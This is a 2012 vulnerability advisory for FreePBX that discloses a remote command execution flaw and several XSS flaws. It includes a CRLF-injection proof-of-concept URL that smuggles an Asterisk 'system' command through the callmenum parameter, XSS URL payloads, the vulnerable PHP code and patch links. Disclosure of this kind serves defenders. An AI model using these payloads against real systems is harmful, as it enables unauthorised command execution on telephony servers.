FreePBX 2.10.0 Remote Command Execution / XSS



Product: FreePBX
Version: 2.10.0, 2.9.0 and perhaps earlier versions
Type: Remote Command Execution, XSS
Release Date: March 14, 2012
Vendor Notification Date: Jun 12, 2011
Author: Martin Tschirsich

Overview:

A remote command execution vulnerability and some XSS in current and earlier
FreePBX versions due to missing input sanitization.
FreePBX is a popular implementation (500,000 active phone systems) of
Asterisk (telephony software) based around a web-based configuration
interface and other tools. Some of these installations are on a public IP
address.

Proof of Concept:

RCE:
[HOST]/recordings/misc/callme_page.php?action=c&callmenum=[PHONENUMBER]@from
-internal/n%0D%0AApplication:%20system%0D%0AData:%20[CMD]%0D%0A%0D%0A

XSS (2.9.0 and perhaps other versions):
[HOST]/panel/index_amp.php?context=[XSS]
[HOST]/panel/flash/mypage.php?clid=[XSS]
[HOST]/panel/flash/mypage.php?clidname=[base64_encode(XSS)]
[HOST]/panel/dhtml/index.php?context=/../%00">[XSS]
[HOST]/admin/views/freepbx_reload.php/"[XSS]
[HOST]/recordings/index.php?login='>[XSS]

Details (RCE):

Missing input sanitization in htdocs/recordings/misc/callme_page.php:
// line 28-30:
$to = $_REQUEST['callmenum']; // vulnerable
$msgFrom = $_REQUEST['msgFrom'];
$new_path = substr($path, 0, -4);
// line 38:
$call_status = callme_startcall($to, $msgFrom, $new_path);

Missing input sanitization in htdocs/recordings/includes/callme.php:
// line 88-117:
function callme_startcall($to, $from, $new_path)
{
global $astman;
$channel = "Local/$to@from-internal/n"; // vulnerable
$context = "vm-callme";
$extension = "s";
$priority = "1";
$callerid = "VMAIL/$from";
...
/* Arguments to Originate: channel, extension, context, priority,
timeout, callerid, variable, account, application, data */
$status = $astman->Originate($channel, $extension, $context,
$priority, NULL, $callerid, $variable, NULL, NULL, NULL, NULL);
...
}

Unofficial Patch (RCE, tested with 2.9.0):

Patch htdocs/recordings/modules/callme_page.php:
http://pastebin.com/ZbX50qaZ
Patch htdocs/recordings/modules/voicemail.module:
http://pastebin.com/vv3qczfC

<strong>Disclaimer:</strong>

<strong>The vendor has been contacted and provided with a patch several times since</strong>
<strong> Jun 12, 2011. Since no intention to address this issue was shown, I felt it</strong>
<strong> was in the best interest to disclose the vulnerability.</strong>

<strong>All information in this advisory is provided on an 'as is' basis in the hope</strong>
<strong> that it will be useful. The author not responsible for any risks or</strong>
<strong> occurrences caused by the application of this information.</strong>
Source:
http://packetstormsecurity.org

Comments are closed.